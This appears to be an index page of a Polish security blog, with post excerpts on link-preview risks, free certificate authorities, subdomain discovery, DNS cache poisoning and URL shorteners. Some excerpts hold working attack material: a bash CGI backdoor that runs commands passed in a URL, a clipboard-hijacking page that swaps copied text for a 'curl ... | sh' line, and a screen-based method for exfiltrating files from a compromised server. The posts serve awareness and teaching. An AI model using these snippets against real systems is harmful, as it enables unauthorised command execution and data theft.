Napisał: Patryk Krawaczyński
08/12/2020 w Bezpieczeństwo
W
pierwszej części omówiliśmy sobie kilka problemów związanych z funkcjonalnością generowania podglądu linków w (web)aplikacjach. Dzisiaj chciałbym rozszerzyć problemy z metodą, gdzie serwer pośredni generuje podgląd na przykładzie serwisów Twitter oraz Facebook. Tworząc tego rodzaju rozwiązanie musimy mieć świadomość, że taka funkcja może zostać wykorzystana w nie do końca w sposób jaki byśmy sobie tego życzyli. Schemat działania takiego rozwiązania jest prosty – jeśli zalogujemy się do webaplikacji Twitter’a lub Facebook’a i zamieścimy w oknie nowego wpisu link – to pierwsze, co zrobi algorytm to prześlę ten link do kolejnego systemu, który powie serwerom (botom) danego serwisu, aby odwiedziły podatną stronę, pobrały jej zawartość i zwróciły niezbędne informacje do wygenerowania podglądu przy zamieszczaniu wpisu na w/w mediach społecznościowych. Jakie zagrożenia to może wywołać?
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
30/11/2020 w Bezpieczeństwo
P
odgląd linków (ang. link previews) został zaimplementowany w wielu (web)aplikacjach służących do czatowania i komunikacji – Discord, Facebook, Twitter, LinkedIn, Signal, Slack itd. Każdy nowy lub stary komunikator stara implementować się tą funkcjonalność w swoich produktach. Jeśli ta funkcja nie zostanie wykonana prawidłowo, może prowadzić do różnego rodzaju problemów np. wyciekania adresów IP, ujawnianie odnośników w szyfrowanych rozmowach, czy niepotrzebne pobieranie gigabajtów danych w tyle. Talal Haj Bakry oraz Tommy Mysk przeprowadzili badanie pokazujące, że ta prosta funkcja może stwarzać zagrożenie dla prywatności i bezpieczeństwa.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
23/11/2020 w Bezpieczeństwo
L
et’s Encrypt to organizacja non-profit oraz projekt open-source zapewniający dostęp do bezpłatnych certyfikatów SSL. Pozwala na automatyczne przedłużanie ważności certyfikatów, które domyślnie wystawiane są na okres 3 miesięcy i są zgodne z najpopularniejszymi przeglądarkami internetowymi. Od ponad roku oprócz CA Let’s Encrypt istnieje możliwość uzyskania darmowych certyfikatów od firmy Bypass. Firma ta jest europejskim CA (ang. Certificate Authority) oferującym darmowe certyfikaty, których ważność wynosi 180 dni. Teraz do grona darmowych dostawców dołącza trzeci CA – ZeroSSL (również 90 dni). Każdy z tych dostawców jest kompatybilny z narzędziami ułatwiającymi zarządzanie certyfikatami, jak CertBot oraz ACME. Osoby zainteresowane napisaniem własnych rozwiązań mogą również wykorzystać REST API. W przypadku problemów technicznych z jednym dostawcą istnieje teraz alternatywa pozwalająca na szybkie przełączenie się na inne CA.
Napisał: Patryk Krawaczyński
20/11/2020 w Pen Test
O
neForAll jest narzędziem służącym do odkrywania subdomen z wielu źródeł. Dzięki chińskiemu kontekstowi (developmentu) może zapewnić czasami przewagę nad tradycyjnymi narzędziami i serwisami służącymi do tego celu. Potrafi wykorzystać kilka egzotycznych chińskich źródeł danych, których inne narzędzia zwykle nie przeszukują np. FOFA, Baidu Cloud Observation, Gitee, ChinaZ Alexa oraz inne. Zwiększa to szanse na znalezienie unikalnych, wcześniej nieodkrytych punktów wejścia podczas pracy zwiadowczej. Sam kod narzędzia potrafi dostarczyć nam wiele adresów oraz innych narzędzi wykorzystywanych w tym procesie. W celu wykorzystania jego pełnego potencjału należy przejrzeć do jakich serwisów wymaga kluczy API umożliwiających odpytywanie różne serwisy.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
16/11/2020 w Hacks & Scripts
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020;
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64
Więcej informacji: Mark Baggett github gist
Napisał: Patryk Krawaczyński
15/11/2020 w Ataki Internetowe
N
aukowcy z Uniwersytetu Tsinghua i Uniwersytetu Kalifornijskiego na tegorocznej konferencji ACM CCS przedstawili nową metodę, którą można użyć do przeprowadzania ataków polegających na zatruwaniu pamięci podręcznej DNS. Nowe odkrycie ożywia błąd z 2008 roku, który kiedyś uważano za rozwiązany na dobre. W celu zrozumienia na czym polega reinkarnacja tego ataku powróćmy do jego podstaw. DNS jest książką adresową internetu. Co się dzieje jak wpisujemy adres URL (ang. Uniform Resource Locator) np. https://nfsec.pl
do przeglądarki? Przeglądarka sprawdza swoją pamięć podręczną pod kątem wpisu DNS, aby znaleźć odpowiedni adres IP witryny. Jeśli nie zostanie znaleziony kontynuuje sprawdzanie pamięci podręcznej: systemu operacyjnego, najbliższego serwera DNS (routera lub ISP). Jeśli wpis nadal nie zostanie znaleziony to serwer DNS (routera lub ISP) inicjuje zapytanie DNS w celu znalezienia adresu IP serwera obsługującego nazwę domeny (autorytatywnego) i prosi go o podanie adresu IP szukanej domeny.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
11/11/2020 w Bezpieczeństwo
O
d wersji 9.8.1 serwera BIND dostępny jest mechanizm DNS RPZ (ang. Domain Name Service Response Policy Zones). Główną motywacją do stworzenia tej funkcji była ochrona użytkowników przed zagrożeniami w internecie związanymi z złośliwymi domenami, nazwami hostów lub innymi serwerami nazw. Cyberprzestępcy zwykle używają tych samych domen na wielu ofiarach, dopóki nie zostaną im odebrane. Niestety zdolność branży bezpieczeństwa internetowego w kwestii likwidacji infrastruktury przestępczej u rejestratorów domen, dostawcach hostingu lub dostawcach usług internetowych z różnych czynników nie zawsze jest możliwa. Korzystając z RPZ administrator sieci może wdrożyć własne zasady ochrony przed niebezpiecznymi domenami w oparciu o reputację zebraną od dostawców usług bezpieczeństwa niemal w czasie rzeczywistym.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
07/11/2020 w CmdLineFu
Usługi skracania adresów URL istnieją od dawna. Wikipedia datuje je na rok 2000. Dzięki mediom społecznościowym i komunikatorom usługi skracania adresów są teraz bardziej przydatne niż kiedykolwiek. Bazując na ułomności ludzkiej pamięci pozwalają nam zapamiętać krótkie adresy zamiast długich wierszy. Skrócona “część” działa jak unikalny klucz, który serwer może użyć do przekierowania żądania do wybranego, końcowego adresu URL. Istnieją różne metody przekierowania przeglądarki z adresu URL na inny. Większość z nich zwykle opiera się na nagłówku HTTP przy pomocy kodów 301
(Moved Permanently), 302
(Found), 307
(Temporary Redirect), czy 308
(Permanent Redirect). Niezależnie od kodu miejsce docelowe przekierowania jest zwykle zakodowane w polu nagłówka: Location
. Bazując na tej informacji możemy sprawdzić większość skróconych adresów za pomocą polecenia curl:
curl -svI $SKRÓCONY_URL --max-redirs 0 \
--user-agent "Googlebot/2.1 (+http://www.google.com)" 2>&1 | grep -i location
Jednak sam proces przekierowania to nie jedyna rzecz, która ma miejsce, gdy nasza przeglądarka trafia na serwer skracarki. Pozostawiamy również wpis w logach ze swoim odciskiem palca zawierającym adres IP, nazwę aplikacji klienckiej i wszystko to, co przeglądarka akceptuje, aby przekazać serwerowi. Te wszystkie rzeczy poszerzają możliwości skracania adresów URL i pomagają zespołom marketingu, SEO i innym “szpiegować” (pozyskiwać dość szczegółowe informacje analityczne) klientów z nich korzystających. A jeszcze gorzej, jeśli za ich pomocą przekazujemy poufne informacje.
Napisał: Patryk Krawaczyński
03/11/2020 w Ataki Internetowe
K
ilka lat temu dowiedzieliśmy się, że kopiowanie poleceń bezpośrednio do terminala może mieć trochę inne konsekwencję niż byśmy mogli się spodziewać. Dzisiaj nowoczesne API Javascript pozwalają witrynie internetowej w trywialny sposób zastępowanie tego, co umieścisz w schowku, bez potwierdzenia lub zgody użytkownika. Poniżej znajduje się przykład tego, jak łatwo jest wykonać ten atak:
<html>
<head>
<title>Kopiuj wklej demo</title>
</head>
<body>
<p id="skopiujmnie">$ echo "Wklej mnie do terminala!"</p>
<script>
document.getElementById('skopiujmnie').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', 'echo "A jednak wykonamy \
[curl https://nfsec.pl | sh]"\n');
e.preventDefault();
});
</script>
</body>
</html>
Powyższy kod możemy zapisać jako plik payload.html
, wyświetlić w przeglądarce – zaznaczyć, skopiować wyświetlony tekst i wkleić do terminala. Należy zauważyć, że nie musimy nawet naciskać klawisza ENTER po wklejeniu, ponieważ ładunek kodu zawiera znak nowej linii, która to zrobi za nas.
Więcej informacji: Don’t Copy Paste Into A Shell
Napisał: Patryk Krawaczyński
30/10/2020 w Ataki Internetowe, Bezpieczeństwo
D
ane z serwerów możemy wyprowadzać za pomocą różnego rodzaju tuneli ukrytych w protokołach. Możemy też wykorzystać do tego celu menedżer okien terminala – screen, który będzie tylko i wyłącznie zainstalowany na naszym lokalnym komputerze. Dla przykładu prześlemy plik o wielkości 1092 KB z zdalnego serwera na nasz lokalny komputer:
- Uruchamiamy polecenie
screen
na lokalnym komputerze i łączymy się z zdalnym serwerem, do którego uzyskaliśmy dostęp,
- Naciskamy sekwencję klawiszy:
Ctrl+a :
– po pojawieniu się znaku zachęty :
w lewym, dolnym rogu wpisujemy: logfile dataout.txt
i naciskamy Enter
,
- Kolejną sekwencją definiującą początek zapisu strumienia danych do pliku
dataout.txt jest:
Ctrl+a H
,
- Dane prześlemy zakodowane base64 wydając polecenie:
openssl base64 < tajne_dane.txt
,
- Kończymy strumień danych i wyzwalamy zapis pliku tą samą sekwencją, co rozpoczęcie:
Ctrl+a H
.
W drugiej konsoli teraz już na lokalnym komputerze możemy oczyścić plik wycinając pierwszą (polecenie) i ostatnią (znak zachęty powłoki) linię przy okazji dekodując plik:
cat dataout.txt | tail -n +2 | head -n -1 | openssl base64 -d
[ czytaj całość… ]
Ostatni komentarz :